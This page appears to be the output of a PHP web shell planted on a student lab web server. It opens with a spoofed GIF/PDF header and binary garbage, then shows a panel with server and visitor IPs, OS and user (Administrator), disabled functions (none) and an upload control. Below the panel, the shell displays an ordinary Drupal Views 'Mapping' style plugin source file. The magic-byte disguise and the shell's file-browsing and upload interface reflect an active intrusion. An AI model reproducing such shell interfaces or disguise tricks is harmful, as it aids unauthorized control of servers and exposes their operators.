GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Plugin/views/style/ |
Upload File : |
<?php namespace Drupal\views\Plugin\views\style; use Drupal\Core\Form\FormStateInterface; /** * Allows fields to be mapped to specific use cases. * * @ingroup views_style_plugins */ abstract class Mapping extends StylePluginBase { /** * Do not use grouping. * * @var bool */ protected $usesGrouping = FALSE; /** * Use fields without a row plugin. * * @var bool */ protected $usesFields = TRUE; /** * Builds the list of field mappings. * * @return array * An associative array, keyed by the field name, containing the following * key-value pairs: * - #title: The human-readable label for this field. * - #default_value: The default value for this field. If not provided, an * empty string will be used. * - #description: A description of this field. * - #required: Whether this field is required. * - #filter: (optional) A method on the plugin to filter field options. * - #toggle: (optional) If this select should be toggled by a checkbox. */ abstract protected function defineMapping(); /** * {@inheritdoc} */ protected function defineOptions() { $options = parent::defineOptions(); // Parse the mapping and add a default for each. foreach ($this->defineMapping() as $key => $value) { $default = !empty($value['#multiple']) ? [] : ''; $options['mapping']['contains'][$key] = [ 'default' => isset($value['#default_value']) ? $value['#default_value'] : $default, ]; if (!empty($value['#toggle'])) { $options['mapping']['contains']["toggle_$key"] = [ 'default' => FALSE, ]; } } return $options; } /** * {@inheritdoc} */ public function buildOptionsForm(&$form, FormStateInterface $form_state) { parent::buildOptionsForm($form, $form_state); // Get the mapping. $mapping = $this->defineMapping(); // Restrict the list of defaults to the mapping, in case they have changed. $options = array_intersect_key($this->options['mapping'], $mapping); // Get the labels of the fields added to this display. $field_labels = $this->displayHandler->getFieldLabels(); // Provide some default values. $defaults = [ '#type' => 'select', '#required' => FALSE, '#multiple' => FALSE, ]; // For each mapping, add a select element to the form. foreach ($options as $key => $value) { // If the field is optional, add a 'None' value to the top of the options. $field_options = []; $required = !empty($mapping[$key]['#required']); if (!$required && empty($mapping[$key]['#multiple'])) { $field_options = ['' => $this->t('- None -')]; } $field_options += $field_labels; // Optionally filter the available fields. if (isset($mapping[$key]['#filter'])) { $this->view->initHandlers(); $filter = $mapping[$key]['#filter']; $this::$filter($field_options); unset($mapping[$key]['#filter']); } // These values must always be set. $overrides = [ '#options' => $field_options, '#default_value' => $options[$key], ]; // Optionally allow the select to be toggleable. if (!empty($mapping[$key]['#toggle'])) { $form['mapping']["toggle_$key"] = [ '#type' => 'checkbox', '#title' => $this->t('Use a custom %field_name', ['%field_name' => strtolower($mapping[$key]['#title'])]), '#default_value' => $this->options['mapping']["toggle_$key"], ]; $overrides['#states']['visible'][':input[name="style_options[mapping][' . "toggle_$key" . ']"]'] = ['checked' => TRUE]; } $form['mapping'][$key] = $overrides + $mapping[$key] + $defaults; } } /** * Overrides Drupal\views\Plugin\views\style\StylePluginBase::render(). * * Provides the mapping definition as an available variable. */ public function render() { return [ '#theme' => $this->themeFunctions(), '#view' => $this->view, '#options' => $this->options, '#rows' => $this->view->result, '#mapping' => $this->defineMapping(), ]; } }